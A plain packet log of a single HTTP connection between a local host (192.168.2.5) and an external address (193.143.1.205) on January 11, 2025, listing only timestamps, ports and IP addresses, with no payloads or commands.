Jan 11, 2025 05:38:31.445976973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.449573994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.449703932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.449754000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.449758053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.449790001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.449825048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.449835062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.449990034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450038910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.450054884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450088024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450120926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450129032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.450155020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450186968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450191021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.450222969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.450264931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.450819016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.475933075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.475933075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.492309093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492321968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492331982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492361069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.492392063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.492404938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492417097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492425919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492466927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.492526054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492537022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.492568970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.525593042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525629044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525639057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525640011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.525680065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.525768042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525778055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525815010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.525860071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525878906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525888920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.525914907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.526088953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526099920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526108980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526129007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.526154041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.526199102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526207924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526212931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526221037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.526251078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.526279926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.559420109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559444904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559457064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559467077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559478045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559489965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559542894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559555054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559565067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559622049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559648991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559658051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559700966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559710979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559741974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559799910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559812069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559832096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559866905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.559875965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559914112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.559927940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559942007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559952974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.559969902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.559993029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560003996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560041904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560053110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560084105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560100079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560117006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560142040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560173035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560184002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560214996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560300112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560311079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560319901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560329914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560348988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560369015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560404062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560415030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560463905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560533047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560544014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560553074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560579062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560599089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560643911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560655117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560664892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560687065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560725927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560736895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560748100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560769081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560795069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560918093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560929060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560939074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560949087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560960054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.560965061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.560986042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.561041117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.561050892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.561060905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.561073065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.561084032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.561109066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.564685106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564701080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564711094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564723969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564747095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.564754009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564766884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564786911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.564807892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.564882040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564893961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564904928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.564924955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.564950943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565009117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565020084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565032005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565059900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565073967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565084934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565110922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565123081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565134048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565165043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565201044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565212011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565243959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565303087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565320969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565339088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565346956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565376043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565408945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565419912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565473080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565488100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565501928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565515995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565536022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565558910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565591097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565596104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565603018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565625906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565699100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565709114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565723896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565735102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565747023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565776110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565830946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565843105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565855026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565879107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565886021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565922976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.565927982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565943956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.565989971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.566035986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566046953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566056013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566068888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566078901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.566108942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.566109896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.566246986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566257954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566267967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566277981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.566302061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.566332102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.569252968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.579554081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579569101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579580069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579591036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579655886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.579675913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579687119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579687119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.579699039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579710007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.579736948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.579761028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.583640099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.586761951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.613472939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613531113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613542080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613594055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.613605022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613640070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613646984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613652945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.613746881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.646958113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.646981001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.646990061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.646998882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647008896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647118092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647130013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647142887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647144079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647144079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647154093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647207022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647219896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647227049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647232056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647243023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647254944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647262096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647293091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647335052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647387028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647392988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647404909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647418022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647449017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647545099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647556067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647561073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647564888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647569895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647574902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647581100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647588015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647619963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647773027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647783995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647840023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647885084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647896051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647907972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647917986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647929907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647939920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647939920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.647967100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.647993088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648190022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648200989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648216963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648227930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648237944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648250103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648253918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648262024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648272038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648276091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648293018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648339033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648521900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648533106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648542881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648575068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648607969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648621082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648629904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648641109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648649931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648653030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648664951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.648680925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648705006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.648998976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649009943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649019003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649029970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649036884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649039984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649049997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649060965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649065971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649075031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649100065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649105072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649113894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649116039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649126053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649136066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649147034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649149895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649157047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649168015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649178982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649182081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649189949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649228096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649229050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649832964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649888039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.649929047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.649967909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650029898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650072098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650095940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650156975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650198936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650222063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650274992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650288105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650312901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650352955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650403023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650444031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650469065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650516033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650554895 CET	49704	80	192.168.2.5	193.143.1.205
